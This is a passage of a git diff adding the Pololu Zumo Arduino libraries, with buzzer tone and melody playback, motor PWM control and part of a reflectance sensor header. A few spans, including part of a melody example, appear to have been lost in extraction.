channel D + // bit 0 set: enable PWM for channel 4 + + TCCR4D = 0x01; // bit 7 clear: disable fault protection interrupt + // bit 6 clear: disable fault protection mode + // bit 5 clear: disable fault protection noise canceler + // bit 4 clear: falling edge triggers fault + // bit 3 clear: disable fault protection analog comparator + // bit 2 clear: fault protection interrupt flag + // bit 1 clear, 0 set: select waveform generation mode, + // phase- and frequency-correct PWM, TOP = OCR4C, + // OCR4D set at BOTTOM, TOV4 flag set at BOTTOM + + // This sets timer 4 to run in phase- and frequency-correct PWM mode, + // where TOP = OCR4C, OCR4D is updated at BOTTOM, TOV1 Flag is set on BOTTOM. + // OC4D is cleared on compare match when upcounting, set on compare + // match when downcounting; OC4A and OC4B are disconnected. + + unsigned int top = (F_CPU/16) / 1000; // set TOP for freq = 1 kHz: + TC4H = top >> 8; // top 2 bits... + OCR4C = top; // and bottom 8 bits + TC4H = 0; // 0% duty cycle: top 2 bits... + OCR4D = 0; // and bottom 8 bits +#else + TCCR2A = 0x21; // bits 7 and 6 clear: normal port op., OC4A disconnected + // bit 5 set, 4 clear: clear OC2B on comp match when upcounting, + // set OC2B on comp match when downcounting + // bits 3 and 2: not used + // bit 1 clear, 0 set: combine with bit 3 of TCCR2B... + + TCCR2B = 0x0B; // bit 7 clear: no force output compare for channel A + // bit 6 clear: no force output compare for channel B + // bits 5 and 4: not used + // bit 3 set: combine with bits 1 and 0 of TCCR2A to + // select waveform generation mode 5, phase-correct PWM, + // TOP = OCR2A, OCR2B set at TOP, TOV2 flag set at BOTTOM + // bit 2 clear, 1-0 set: timer clock = clkT2S/32 + + // This sets timer 2 to run in phase-correct PWM mode, where TOP = OCR2A, + // OCR2B is updated at TOP, TOV2 Flag is set on BOTTOM. OC2B is cleared + // on compare match when upcounting, set on compare match when downcounting; + // OC2A is disconnected. + // Note: if the PWM frequency and duty cycle are changed, the first + // cycle of the new frequency will be at the old duty cycle, since + // the duty cycle (OCR2B) is not updated until TOP. + + + OCR2A = (F_CPU/64) / 1000; // set TOP for freq = 1 kHz + OCR2B = 0; // 0% duty cycle +#endif + + BUZZER_DDR |= BUZZER; // buzzer pin set as an output + sei(); +} + + +// Set up timer 1 to play the desired frequency (in Hz or .1 Hz) for the +// the desired duration (in ms). Allowed frequencies are 40 Hz to 10 kHz. +// volume controls buzzer volume, with 15 being loudest and 0 being quietest. +// Note: frequency*duration/1000 must be less than 0xFFFF (65535). This +// means that you can't use a max duration of 65535 ms for frequencies +// greater than 1 kHz. For example, the max duration you can use for a +// frequency of 10 kHz is 6553 ms. If you use a duration longer than this, +// you will cause an integer overflow that produces unexpected behavior. +void ZumoBuzzer::playFrequency(unsigned int freq, unsigned int dur, + unsigned char volume) +{ + init(); // initializes the buzzer if necessary + buzzerFinished = 0; + + unsigned int timeout; + unsigned char multiplier = 1; + + if (freq & DIV_BY_10) // if frequency's DIV_BY_10 bit is set + { // then the true frequency is freq/10 + multiplier = 10; // (gives higher resolution for small freqs) + freq &= ~DIV_BY_10; // clear DIV_BY_10 bit + } + + unsigned char min = 40 * multiplier; + if (freq < min) // min frequency allowed is 40 Hz + freq = min; + if (multiplier == 1 && freq > 10000) + freq = 10000; // max frequency allowed is 10kHz + +#ifdef __AVR_ATmega32U4__ + unsigned long top; + unsigned char dividerExponent = 0; + + // calculate necessary clock source and counter top value to get freq + top = (unsigned int)(((F_CPU/2 * multiplier) + (freq >> 1))/ freq); + + while (top > 1023) + { + dividerExponent++; + top = (unsigned int)((((F_CPU/2 >> (dividerExponent)) * multiplier) + (freq >> 1))/ freq); + } +#else + unsigned int top; + unsigned char newCS2 = 2; // try prescaler divider of 8 first (minimum necessary for 10 kHz) + unsigned int divider = cs2_divider[newCS2]; + + // calculate necessary clock source and counter top value to get freq + top = (unsigned int)(((F_CPU/16 * multiplier) + (freq >> 1))/ freq); + + while (top > 255) + { + divider = cs2_divider[++newCS2]; + top = (unsigned int)(((F_CPU/2/divider * multiplier) + (freq >> 1))/ freq); + } +#endif + + // set timeout (duration): + if (multiplier == 10) + freq = (freq + 5) / 10; + + if (freq == 1000) + timeout = dur; // duration for silent notes is exact + else + timeout = (unsigned int)((long)dur * freq / 1000); + + if (volume > 15) + volume = 15; + + DISABLE_TIMER_INTERRUPT(); // disable interrupts while writing to registers + +#ifdef __AVR_ATmega32U4__ + TCCR4B = (TCCR4B & 0xF0) | (dividerExponent + 1); // select timer 4 clock prescaler: divider = 2^n if CS4 = n+1 + TC4H = top >> 8; // set timer 1 pwm frequency: top 2 bits... + OCR4C = top; // and bottom 8 bits + unsigned int width = top >> (16 - volume); // set duty cycle (volume): + TC4H = width >> 8; // top 2 bits... + OCR4D = width; // and bottom 8 bits + buzzerTimeout = timeout; // set buzzer duration + + TIFR4 |= 0xFF; // clear any pending t4 overflow int. +#else + TCCR2B = (TCCR2B & 0xF8) | newCS2; // select timer 2 clock prescaler + OCR2A = top; // set timer 2 pwm frequency + OCR2B = top >> (16 - volume); // set duty cycle (volume) + buzzerTimeout = timeout; // set buzzer duration + + TIFR2 |= 0xFF; // clear any pending t2 overflow int. +#endif + + ENABLE_TIMER_INTERRUPT(); +} + + + +// Determine the frequency for the specified note, then play that note +// for the desired duration (in ms). This is done without using floats +// and without having to loop. volume controls buzzer volume, with 15 being +// loudest and 0 being quietest. +// Note: frequency*duration/1000 must be less than 0xFFFF (65535). This +// means that you can't use a max duration of 65535 ms for frequencies +// greater than 1 kHz. For example, the max duration you can use for a +// frequency of 10 kHz is 6553 ms. If you use a duration longer than this, +// you will cause an integer overflow that produces unexpected behavior. +void ZumoBuzzer::playNote(unsigned char note, unsigned int dur, + unsigned char volume) +{ + // note = key + octave * 12, where 0 <= key < 12 + // example: A4 = A + 4 * 12, where A = 9 (so A4 = 57) + // A note is converted to a frequency by the formula: + // Freq(n) = Freq(0) * a^n + // where + // Freq(0) is chosen as A4, which is 440 Hz + // and + // a = 2 ^ (1/12) + // n is the number of notes you are away from A4. + // One can see that the frequency will double every 12 notes. + // This function exploits this property by defining the frequencies of the + // 12 lowest notes allowed and then doubling the appropriate frequency + // the appropriate number of times to get the frequency for the specified + // note. + + // if note = 16, freq = 41.2 Hz (E1 - lower limit as freq must be >40 Hz) + // if note = 57, freq = 440 Hz (A4 - central value of ET Scale) + // if note = 111, freq = 9.96 kHz (D#9 - upper limit, freq must be <10 kHz) + // if note = 255, freq = 1 kHz and buzzer is silent (silent note) + + // The most significant bit of freq is the "divide by 10" bit. If set, + // the units for frequency are .1 Hz, not Hz, and freq must be divided + // by 10 to get the true frequency in Hz. This allows for an extra digit + // of resolution for low frequencies without the need for using floats. + + unsigned int freq = 0; + unsigned char offset_note = note - 16; + + if (note == SILENT_NOTE || volume == 0) + { + freq = 1000; // silent notes => use 1kHz freq (for cycle counter) + playFrequency(freq, dur, 0); + return; + } + + if (note <= 16) + offset_note = 0; + else if (offset_note > 95) + offset_note = 95; + + unsigned char exponent = offset_note / 12; + + // frequency table for the lowest 12 allowed notes + // frequencies are specified in tenths of a Hertz for added resolution + switch (offset_note - exponent * 12) // equivalent to (offset_note % 12) + { + case 0: // note E1 = 41.2 Hz + freq = 412; + break; + case 1: // note F1 = 43.7 Hz + freq = 437; + break; + case 2: // note F#1 = 46.3 Hz + freq = 463; + break; + case 3: // note G1 = 49.0 Hz + freq = 490; + break; + case 4: // note G#1 = 51.9 Hz + freq = 519; + break; + case 5: // note A1 = 55.0 Hz + freq = 550; + break; + case 6: // note A#1 = 58.3 Hz + freq = 583; + break; + case 7: // note B1 = 61.7 Hz + freq = 617; + break; + case 8: // note C2 = 65.4 Hz + freq = 654; + break; + case 9: // note C#2 = 69.3 Hz + freq = 693; + break; + case 10: // note D2 = 73.4 Hz + freq = 734; + break; + case 11: // note D#2 = 77.8 Hz + freq = 778; + break; + } + + if (exponent < 7) + { + freq = freq << exponent; // frequency *= 2 ^ exponent + if (exponent > 1) // if the frequency is greater than 160 Hz + freq = (freq + 5) / 10; // we don't need the extra resolution + else + freq += DIV_BY_10; // else keep the added digit of resolution + } + else + freq = (freq * 64 + 2) / 5; // == freq * 2^7 / 10 without int overflow + + if (volume > 15) + volume = 15; + playFrequency(freq, dur, volume); // set buzzer this freq/duration +} + + + +// Returns 1 if the buzzer is currently playing, otherwise it returns 0 +unsigned char ZumoBuzzer::isPlaying() +{ + return !buzzerFinished || buzzerSequence != 0; +} + + +// Plays the specified sequence of notes. If the play mode is +// PLAY_AUTOMATIC, the sequence of notes will play with no further +// action required by the user. If the play mode is PLAY_CHECK, +// the user will need to call playCheck() in the main loop to initiate +// the playing of each new note in the sequence. The play mode can +// be changed while the sequence is playing. +// This is modeled after the PLAY commands in GW-BASIC, with just a +// few differences. +// +// The notes are specified by the characters C, D, E, F, G, A, and +// B, and they are played by default as "quarter notes" with a +// length of 500 ms. This corresponds to a tempo of 120 +// beats/min. Other durations can be specified by putting a number +// immediately after the note. For example, C8 specifies C played as an +// eighth note, with half the duration of a quarter note. The special +// note R plays a rest (no sound). +// +// Various control characters alter the sound: +// '>' plays the next note one octave higher +// +// '<' plays the next note one octave lower +// +// '+' or '#' after a note raises any note one half-step +// +// '-' after a note lowers any note one half-step +// +// '.' after a note "dots" it, increasing the length by +// 50%. Each additional dot adds half as much as the +// previous dot, so that "A.." is 1.75 times the length of +// "A". +// +// 'O' followed by a number sets the octave (default: O4). +// +// 'T' followed by a number sets the tempo (default: T120). +// +// 'L' followed by a number sets the default note duration to +// the type specified by the number: 4 for quarter notes, 8 +// for eighth notes, 16 for sixteenth notes, etc. +// (default: L4) +// +// 'V' followed by a number from 0-15 sets the music volume. +// (default: V15) +// +// 'MS' sets all subsequent notes to play staccato - each note is played +// for 1/2 of its allotted time, followed by an equal period +// of silence. +// +// 'ML' sets all subsequent notes to play legato - each note is played +// for its full length. This is the default setting. +// +// '!' resets all persistent settings to their defaults. +// +// The following plays a c major scale up and back down: +// play("L16 V8 cdefgab>cbagfedc"); +// +// Here is an example from Bach: +// play("T240 L8 a gafaeada c+adaeafa > 8; // top 2 bits... (TC4H temporarily stores top 2 bits of 10-bit accesses) + OCR4C = top; // and bottom 8 bits + TC4H = 0; // 0% duty cycle: top 2 bits... + OCR4D = 0; // and bottom 8 bits +#else + TCCR2B = (TCCR2B & 0xF8) | TIMER2_CLK_32; // select IO clock + OCR2A = (F_CPU/64) / 1000; // set TOP for freq = 1 kHz + OCR2B = 0; // 0% duty cycle +#endif + + buzzerFinished = 1; + buzzerSequence = 0; +} + +// Gets the current character, converting to lower-case and skipping +// spaces. For any spaces, this automatically increments sequence! +static char currentCharacter() +{ + char c = 0; + do + { + if(use_program_space) + c = pgm_read_byte(buzzerSequence); + else + c = *buzzerSequence; + + if(c >= 'A' && c <= 'Z') + c += 'a'-'A'; + } while(c == ' ' && (buzzerSequence ++)); + + return c; +} + +// Returns the numerical argument specified at buzzerSequence[0] and +// increments sequence to point to the character immediately after the +// argument. +static unsigned int getNumber() +{ + unsigned int arg = 0; + + // read all digits, one at a time + char c = currentCharacter(); + while(c >= '0' && c <= '9') + { + arg *= 10; + arg += c-'0'; + buzzerSequence ++; + c = currentCharacter(); + } + + return arg; +} + +static void nextNote() +{ + unsigned char note = 0; + unsigned char rest = 0; + unsigned char tmp_octave = octave; // the octave for this note + unsigned int tmp_duration; // the duration of this note + unsigned int dot_add; + + char c; // temporary variable + + // if we are playing staccato, after every note we play a rest + if(staccato && staccato_rest_duration) + { + ZumoBuzzer::playNote(SILENT_NOTE, staccato_rest_duration, 0); + staccato_rest_duration = 0; + return; + } + + parse_character: + + // Get current character + c = currentCharacter(); + buzzerSequence ++; + + // Interpret the character. + switch(c) + { + case '>': + // shift the octave temporarily up + tmp_octave ++; + goto parse_character; + case '<': + // shift the octave temporarily down + tmp_octave --; + goto parse_character; + case 'a': + note = NOTE_A(0); + break; + case 'b': + note = NOTE_B(0); + break; + case 'c': + note = NOTE_C(0); + break; + case 'd': + note = NOTE_D(0); + break; + case 'e': + note = NOTE_E(0); + break; + case 'f': + note = NOTE_F(0); + break; + case 'g': + note = NOTE_G(0); + break; + case 'l': + // set the default note duration + note_type = getNumber(); + duration = whole_note_duration/note_type; + goto parse_character; + case 'm': + // set music staccato or legato + if(currentCharacter() == 'l') + staccato = false; + else + { + staccato = true; + staccato_rest_duration = 0; + } + buzzerSequence ++; + goto parse_character; + case 'o': + // set the octave permanently + octave = getNumber(); + tmp_octave = octave; + goto parse_character; + case 'r': + // Rest - the note value doesn't matter. + rest = 1; + break; + case 't': + // set the tempo + whole_note_duration = 60*400/getNumber()*10; + duration = whole_note_duration/note_type; + goto parse_character; + case 'v': + // set the volume + volume = getNumber(); + goto parse_character; + case '!': + // reset to defaults + octave = 4; + whole_note_duration = 2000; + note_type = 4; + duration = 500; + volume = 15; + staccato = 0; + // reset temp variables that depend on the defaults + tmp_octave = octave; + tmp_duration = duration; + goto parse_character; + default: + buzzerSequence = 0; + return; + } + + note += tmp_octave*12; + + // handle sharps and flats + c = currentCharacter(); + while(c == '+' || c == '#') + { + buzzerSequence ++; + note ++; + c = currentCharacter(); + } + while(c == '-') + { + buzzerSequence ++; + note --; + c = currentCharacter(); + } + + // set the duration of just this note + tmp_duration = duration; + + // If the input is 'c16', make it a 16th note, etc. + if(c > '0' && c < '9') + tmp_duration = whole_note_duration/getNumber(); + + // Handle dotted notes - the first dot adds 50%, and each + // additional dot adds 50% of the previous dot. + dot_add = tmp_duration/2; + while(currentCharacter() == '.') + { + buzzerSequence ++; + tmp_duration += dot_add; + dot_add /= 2; + } + + if(staccato) + { + staccato_rest_duration = tmp_duration / 2; + tmp_duration -= staccato_rest_duration; + } + + // this will re-enable the timer1 overflow interrupt + ZumoBuzzer::playNote(rest ? SILENT_NOTE : note, tmp_duration, volume); +} + + +// This puts play() into a mode where instead of advancing to the +// next note in the sequence automatically, it waits until the +// function playCheck() is called. The idea is that you can +// put playCheck() in your main loop and avoid potential +// delays due to the note sequence being checked in the middle of +// a time sensitive calculation. It is recommended that you use +// this function if you are doing anything that can't tolerate +// being interrupted for more than a few microseconds. +// Note that the play mode can be changed while a sequence is being +// played. +// +// Usage: playMode(PLAY_AUTOMATIC) makes it automatic (the +// default), playMode(PLAY_CHECK) sets it to a mode where you have +// to call playCheck(). +void ZumoBuzzer::playMode(unsigned char mode) +{ + play_mode_setting = mode; + + // We want to check to make sure that we didn't miss a note if we + // are going out of play-check mode. + if(mode == PLAY_AUTOMATIC) + playCheck(); +} + + +// Checks whether it is time to start another note, and starts +// it if so. If it is not yet time to start the next note, this method +// returns without doing anything. Call this as often as possible +// in your main loop to avoid delays between notes in the sequence. +// +// Returns true if it is still playing. +unsigned char ZumoBuzzer::playCheck() +{ + if(buzzerFinished && buzzerSequence != 0) + nextNote(); + return buzzerSequence != 0; +} diff --git a/libraries/Zumo/ZumoBuzzer.h b/libraries/Zumo/ZumoBuzzer.h new file mode 100755 index 0000000..14e10e1 --- /dev/null +++ b/libraries/Zumo/ZumoBuzzer.h @@ -0,0 +1,345 @@ +/*! \file ZumoBuzzer.h + * + * See the ZumoBuzzer class reference for more information about this library. + * + * \class ZumoBuzzer ZumoBuzzer.h + * \brief Play beeps and music with buzzer + * + * The ZumoBuzzer library allows various sounds to be played through the buzzer + * on the Zumo Shield, from simple beeps to complex tunes. The buzzer is + * controlled using a PWM output of Timer 2 (on the Arduino Uno and other + * ATmega328/168 boards) or Timer 4 (on the Arduino Leonardo and other + * ATmega32U4 boards), so it will conflict with any other uses of that timer. + * + * Note durations are timed using a timer overflow interrupt + * (`TIMER2_OVF`/`TIMER4_OVF`), which will briefly interrupt execution of your + * main program at the frequency of the sound being played. In most cases, the + * interrupt-handling routine is very short (several microseconds). However, + * when playing a sequence of notes in `PLAY_AUTOMATIC` mode (the default mode) + * with the `play()` command, this interrupt takes much longer than normal + * (perhaps several hundred microseconds) every time it starts a new note. It is + * important to take this into account when writing timing-critical code. + * + * The ZumoBuzzer library is fully compatible with the OrangutanBuzzer functions + * in the [Pololu AVR C/C++ Library](http://www.pololu.com/docs/0J18), so any + * sequences and melodies written for OrangutanBuzzer functions will also work + * with the equivalent ZumoBuzzer functions. + */ + +#ifndef ZumoBuzzer_h +#define ZumoBuzzer_h + +#define PLAY_AUTOMATIC 0 +#define PLAY_CHECK 1 + +// n +// Equal Tempered Scale is given by f = f * a +// n o +// +// where f is chosen as A above middle C (A4) at f = 440 Hz +// o o +// and a is given by the twelfth root of 2 (~1.059463094359) + +/*! \anchor note_macros + * + * \name Note Macros + * \a x specifies the octave of the note + * @{ + */ +#define NOTE_C(x) ( 0 + (x)*12) +#define NOTE_C_SHARP(x) ( 1 + (x)*12) +#define NOTE_D_FLAT(x) ( 1 + (x)*12) +#define NOTE_D(x) ( 2 + (x)*12) +#define NOTE_D_SHARP(x) ( 3 + (x)*12) +#define NOTE_E_FLAT(x) ( 3 + (x)*12) +#define NOTE_E(x) ( 4 + (x)*12) +#define NOTE_F(x) ( 5 + (x)*12) +#define NOTE_F_SHARP(x) ( 6 + (x)*12) +#define NOTE_G_FLAT(x) ( 6 + (x)*12) +#define NOTE_G(x) ( 7 + (x)*12) +#define NOTE_G_SHARP(x) ( 8 + (x)*12) +#define NOTE_A_FLAT(x) ( 8 + (x)*12) +#define NOTE_A(x) ( 9 + (x)*12) +#define NOTE_A_SHARP(x) (10 + (x)*12) +#define NOTE_B_FLAT(x) (10 + (x)*12) +#define NOTE_B(x) (11 + (x)*12) + +/*! \brief silences buzzer for the note duration */ +#define SILENT_NOTE 0xFF + +/*! \brief frequency bit that indicates Hz/10
+ * e.g. \a frequency = `(445 | DIV_BY_10)` gives a frequency of 44.5 Hz + */ +#define DIV_BY_10 (1 << 15) +/*! @} */ + +class ZumoBuzzer +{ + public: + + // constructor + ZumoBuzzer(); + + /*! \brief Plays the specified frequency for the specified duration. + * + * \param freq Frequency to play in Hz (or 0.1 Hz if the `DIV_BY_10` bit + * is set). + * \param duration Duration of the note in milliseconds. + * \param volume Volume of the note (0--15). + * + * The \a frequency argument must be between 40 Hz and 10 kHz. If the most + * significant bit of \a frequency is set, the frequency played is the value + * of the lower 15 bits of \a frequency in units of 0.1 Hz. Therefore, you can + * play a frequency of 44.5 Hz by using a \a frequency of `(DIV_BY_10 | 445)`. + * If the most significant bit of \a frequency is not set, the units for + * frequency are Hz. The \a volume argument controls the buzzer volume, with + * 15 being the loudest and 0 being the quietest. A \a volume of 15 supplies + * the buzzer with a 50% duty cycle PWM at the specified \a frequency. + * Lowering \a volume by one halves the duty cycle (so 14 gives a 25% duty + * cycle, 13 gives a 12.5% duty cycle, etc). The volume control is somewhat + * crude (especially on the ATmega328/168) and should be thought of as a bonus + * feature. + * + * This function plays the note in the background while your program continues + * to execute. If you call another buzzer function while the note is playing, + * the new function call will overwrite the previous and take control of the + * buzzer. If you want to string notes together, you should either use the + * `play()` function or put an appropriate delay after you start a note + * playing. You can use the `is_playing()` function to figure out when the + * buzzer is through playing its note or melody. + * + * ### Example ### + * + * ~~~{.ino} + * ZumoBuzzer buzzer; + * + * ... + * + * // play a 6 kHz note for 250 ms at a lower volume + * buzzer.playFrequency(6000, 250, 12); + * + * // wait for buzzer to finish playing the note + * while (buzzer.isPlaying()); + * + * // play a 44.5 Hz note for 1 s at full volume + * buzzer.playFrequency(DIV_BY_10 | 445, 1000, 15); + * ~~~ + * + * \warning \a frequency × \a duration / 1000 must be no greater than + 0xFFFF (65535). This means you can't use a max duration of 65535 ms for + frequencies greater than 1 kHz. For example, the maximum duration you can + use for a frequency of 10 kHz is 6553 ms. If you use a duration longer than + this, you will produce an integer overflow that can result in unexpected + behavior. + */ + static void playFrequency(unsigned int freq, unsigned int duration, + unsigned char volume); + + /*! \brief Plays the specified note for the specified duration. + * + * \param note Note to play (see \ref note_macros "Note Macros"). + * \param duration Duration of the note in milliseconds. + * \param volume Volume of the note (0--15). + * + * The \a note argument is an enumeration for the notes of the equal tempered + * scale (ETS). See \ref note_macros "Note Macros" for more information. The + * \a volume argument controls the buzzer volume, with 15 being the loudest + * and 0 being the quietest. A \a volume of 15 supplies the buzzer with a 50% + * duty cycle PWM at the specified \a frequency. Lowering \a volume by one + * halves the duty cycle (so 14 gives a 25% duty cycle, 13 gives a 12.5% duty + * cycle, etc). The volume control is somewhat crude (especially on the + * ATmega328/168) and should be thought of as a bonus feature. + * + * This function plays the note in the background while your program continues + * to execute. If you call another buzzer function while the note is playing, + * the new function call will overwrite the previous and take control of the + * buzzer. If you want to string notes together, you should either use the + * `play()` function or put an appropriate delay after you start a note + * playing. You can use the `is_playing()` function to figure out when the + * buzzer is through playing its note or melody. + */ + static void playNote(unsigned char note, unsigned int duration, + unsigned char volume); + + /*! \brief Plays the specified sequence of notes. + * + * \param sequence Char array containing a sequence of notes to play. + * + * If the play mode is `PLAY_AUTOMATIC` (default), the sequence of notes will + * play with no further action required by the user. If the play mode is + * `PLAY_CHECK`, the user will need to call `playCheck()` in the main loop to + * initiate the playing of each new note in the sequence. The play mode can be + * changed while the sequence is playing. The sequence syntax is modeled after + * the PLAY commands in GW-BASIC, with just a few differences. + * + * The notes are specified by the characters **C**, **D**, **E**, **F**, + * **G**, **A**, and **B**, and they are played by default as "quarter notes" + * with a length of 500 ms. This corresponds to a tempo of 120 beats/min. + * Other durations can be specified by putting a number immediately after the + * note. For example, C8 specifies C played as an eighth note, with half the + * duration of a quarter note. The special note **R** plays a rest (no sound). + * The sequence parser is case-insensitive and ignores spaces, which may be + * used to format your music nicely. + * + * Various control characters alter the sound: + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + * + *
Control character(s)Effect
A--GSpecifies a note that will be played.
RSpecifies a rest (no sound for the duration of the note).
+ or # after a noteRaises the preceding note one half-step.
- after a noteLowers the preceding note one half-step.
1--2000 after a noteDetermines the duration of the preceding note. For example, C16 + * specifies C played as a sixteenth note (1/16th the length of a + * whole note).
. after a note"Dots" the preceding note, increasing the length by 50%. Each + * additional dot adds half as much as the previous dot, so that "A.." + * is 1.75 times the length of "A".
> before a notePlays the following note one octave higher.
< before a notePlays the following note one octave lower.
O followed by a numberSets the octave. (default: **O4**)
T followed by a numberSets the tempo in beats per minute (BPM). (default: **T120**)
L followed by a numberSets the default note duration to the type specified by the number: + * 4 for quarter notes, 8 for eighth notes, 16 for sixteenth notes, + * etc. (default: **L4**)
V followed by a numberSets the music volume (0--15). (default: **V15**)
MSSets all subsequent notes to play play staccato -- each note is + * played for 1/2 of its allotted time, followed by an equal period of + * silence.
MLSets all subsequent notes to play legato -- each note is played for + * full length. This is the default setting.
!Resets the octave, tempo, duration, volume, and staccato setting to + * their default values. These settings persist from one `play()` to the + * next, which allows you to more conveniently break up your music into + * reusable sections.
+ * + * This function plays the string of notes in the background while your + * program continues to execute. If you call another buzzer function while the + * melody is playing, the new function call will overwrite the previous and + * take control of the buzzer. If you want to string melodies together, you + * should put an appropriate delay after you start a melody playing. You can + * use the `is_playing()` function to figure out when the buzzer is through + * playing the melody. + * + * ### Example ### + * + * ~~~{.ino} + * ZumoBuzzer buzzer; + * + * ... + * + * // play a C major scale up and back down: + * buzzer.play("!L16 V8 cdefgab>cbagfedc"); + * while (buzzer.isPlaying()); + * + * // the first few measures of Bach's fugue in D-minor + * buzzer.play("!T240 L8 agafaea dac+adaea fa + * + * ZumoBuzzer buzzer; + * const char melody[] PROGMEM = "!L16 V8 cdefgab>cbagfedc"; + * + * ... + * + * buzzer.playFromProgramSpace(melody); + * ~~~ + */ + static void playFromProgramSpace(const char *sequence_p); + + /*! \brief Controls whether `play()` sequence is played automatically or + * must be driven with `playCheck()`. + * + * \param mode Play mode (either `PLAY_AUTOMATIC` or `PLAY_CHECK`). + * + * This method lets you determine whether the notes of the `play()` sequence + * are played automatically in the background or are driven by the + * `play_check()` method. If \a mode is `PLAY_AUTOMATIC`, the sequence will + * play automatically in the background, driven by the timer overflow + * interrupt. The interrupt will take a considerable amount of time to execute + * when it starts the next note in the sequence playing, so it is recommended + * that you do not use automatic-play if you cannot tolerate being interrupted + * for more than a few microseconds. If \a mode is `PLAY_CHECK`, you can + * control when the next note in the sequence is played by calling the + * `play_check()` method at acceptable points in your main loop. If your main + * loop has substantial delays, it is recommended that you use automatic-play + * mode rather than play-check mode. Note that the play mode can be changed + * while the sequence is being played. The mode is set to `PLAY_AUTOMATIC` by + * default. + */ + static void playMode(unsigned char mode); + + /*! \brief Starts the next note in a sequence, if necessary, in `PLAY_CHECK` + * mode. + * + * \return 0 if sequence is complete, 1 otherwise. + * + * This method only needs to be called if you are in `PLAY_CHECK` mode. It + * checks to see whether it is time to start another note in the sequence + * initiated by `play()`, and starts it if so. If it is not yet time to start + * the next note, this method returns without doing anything. Call this as + * often as possible in your main loop to avoid delays between notes in the + * sequence. This method returns 0 (false) if the melody to be played is + * complete, otherwise it returns 1 (true). + */ + static unsigned char playCheck(); + + /*! \brief Checks whether a note, frequency, or sequence is being played. + * + * \return 1 if the buzzer is current playing a note, frequency, or sequence; + * 0 otherwise. + * + * This method returns 1 (true) if the buzzer is currently playing a + * note/frequency or if it is still playing a sequence started by `play()`. + * Otherwise, it returns 0 (false). You can poll this method to determine when + * it's time to play the next note in a sequence, or you can use it as the + * argument to a delay loop to wait while the buzzer is busy. + */ + static unsigned char isPlaying(); + + /*! \brief Stops any note, frequency, or melody being played. + * + * This method will immediately silence the buzzer and terminate any + * note/frequency/melody that is currently playing. + */ + static void stopPlaying(); + + + private: + + // initializes timer for buzzer control + static void init2(); + static void init(); +}; + +#endif \ No newline at end of file diff --git a/libraries/Zumo/ZumoMotors.cpp b/libraries/Zumo/ZumoMotors.cpp new file mode 100755 index 0000000..e7b8ad7 --- /dev/null +++ b/libraries/Zumo/ZumoMotors.cpp @@ -0,0 +1,114 @@ +#include "ZumoMotors.h" + +#define PWM_L 10 +#define PWM_R 9 +#define DIR_L 8 +#define DIR_R 7 + +#if defined(__AVR_ATmega168__) || defined(__AVR_ATmega328P__) || defined (__AVR_ATmega32U4__) + #define USE_20KHZ_PWM +#endif + +static boolean flipLeft = false; +static boolean flipRight = false; + +// constructor (doesn't do anything) +ZumoMotors::ZumoMotors() +{ +} + +// initialize timer1 to generate the proper PWM outputs to the motor drivers +void ZumoMotors::init2() +{ + pinMode(PWM_L, OUTPUT); + pinMode(PWM_R, OUTPUT); + pinMode(DIR_L, OUTPUT); + pinMode(DIR_R, OUTPUT); + +#ifdef USE_20KHZ_PWM + // Timer 1 configuration + // prescaler: clockI/O / 1 + // outputs enabled + // phase-correct PWM + // top of 400 + // + // PWM frequency calculation + // 16MHz / 1 (prescaler) / 2 (phase-correct) / 400 (top) = 20kHz + TCCR1A = 0b10100000; + TCCR1B = 0b00010001; + ICR1 = 400; +#endif +} + +// enable/disable flipping of left motor +void ZumoMotors::flipLeftMotor(boolean flip) +{ + flipLeft = flip; +} + +// enable/disable flipping of right motor +void ZumoMotors::flipRightMotor(boolean flip) +{ + flipRight = flip; +} + +// set speed for left motor; speed is a number between -400 and 400 +void ZumoMotors::setLeftSpeed(int speed) +{ + init(); // initialize if necessary + + boolean reverse = 0; + + if (speed < 0) + { + speed = -speed; // make speed a positive quantity + reverse = 1; // preserve the direction + } + if (speed > 400) // Max + speed = 400; + +#ifdef USE_20KHZ_PWM + OCR1B = speed; +#else + analogWrite(PWM_L, speed * 51 / 80); // default to using analogWrite, mapping 400 to 255 +#endif + + if (reverse ^ flipLeft) // flip if speed was negative or flipLeft setting is active, but not both + digitalWrite(DIR_L, HIGH); + else + digitalWrite(DIR_L, LOW); +} + +// set speed for right motor; speed is a number between -400 and 400 +void ZumoMotors::setRightSpeed(int speed) +{ + init(); // initialize if necessary + + boolean reverse = 0; + + if (speed < 0) + { + speed = -speed; // Make speed a positive quantity + reverse = 1; // Preserve the direction + } + if (speed > 400) // Max PWM dutycycle + speed = 400; + +#ifdef USE_20KHZ_PWM + OCR1A = speed; +#else + analogWrite(PWM_R, speed * 51 / 80); // default to using analogWrite, mapping 400 to 255 +#endif + + if (reverse ^ flipRight) // flip if speed was negative or flipRight setting is active, but not both + digitalWrite(DIR_R, HIGH); + else + digitalWrite(DIR_R, LOW); +} + +// set speed for both motors +void ZumoMotors::setSpeeds(int leftSpeed, int rightSpeed) +{ + setLeftSpeed(leftSpeed); + setRightSpeed(rightSpeed); +} \ No newline at end of file diff --git a/libraries/Zumo/ZumoMotors.h b/libraries/Zumo/ZumoMotors.h new file mode 100755 index 0000000..67a4f94 --- /dev/null +++ b/libraries/Zumo/ZumoMotors.h @@ -0,0 +1,48 @@ +/*! \file ZumoMotors.h + * + * See the ZumoMotors class reference for more information about this library. + * + * \class ZumoMotors ZumoMotors.h + * \brief Control motor speed and direction + * + */ + +#ifndef ZumoMotors_h +#define ZumoMotors_h + +#include + +class ZumoMotors +{ + public: + + // constructor (doesn't do anything) + ZumoMotors(); + + // enable/disable flipping of motors + static void flipLeftMotor(boolean flip); + static void flipRightMotor(boolean flip); + + // set speed for left, right, or both motors + static void setLeftSpeed(int speed); + static void setRightSpeed(int speed); + static void setSpeeds(int leftSpeed, int rightSpeed); + + private: + + static inline void init() + { + static boolean initialized = false; + + if (!initialized) + { + initialized = true; + init2(); + } + } + + // initializes timer1 for proper PWM generation + static void init2(); +}; + +#endif \ No newline at end of file diff --git a/libraries/Zumo/ZumoReflectanceSensorArray.h b/libraries/Zumo/ZumoReflectanceSensorArray.h new file mode 100755 index 0000000..bc8d975 --- /dev/null +++ b/libraries/Zumo/ZumoReflectanceSensorArray.h @@ -0,0 +1,408 @@ +/*! \file ZumoReflectanceSensorArray.h + * + * See the ZumoReflectanceSensorArray class reference for more information about + * this library. + * + * \class ZumoReflectanceSensorArray ZumoReflectanceSensorArray.h + * \brief Read from reflectance sensor 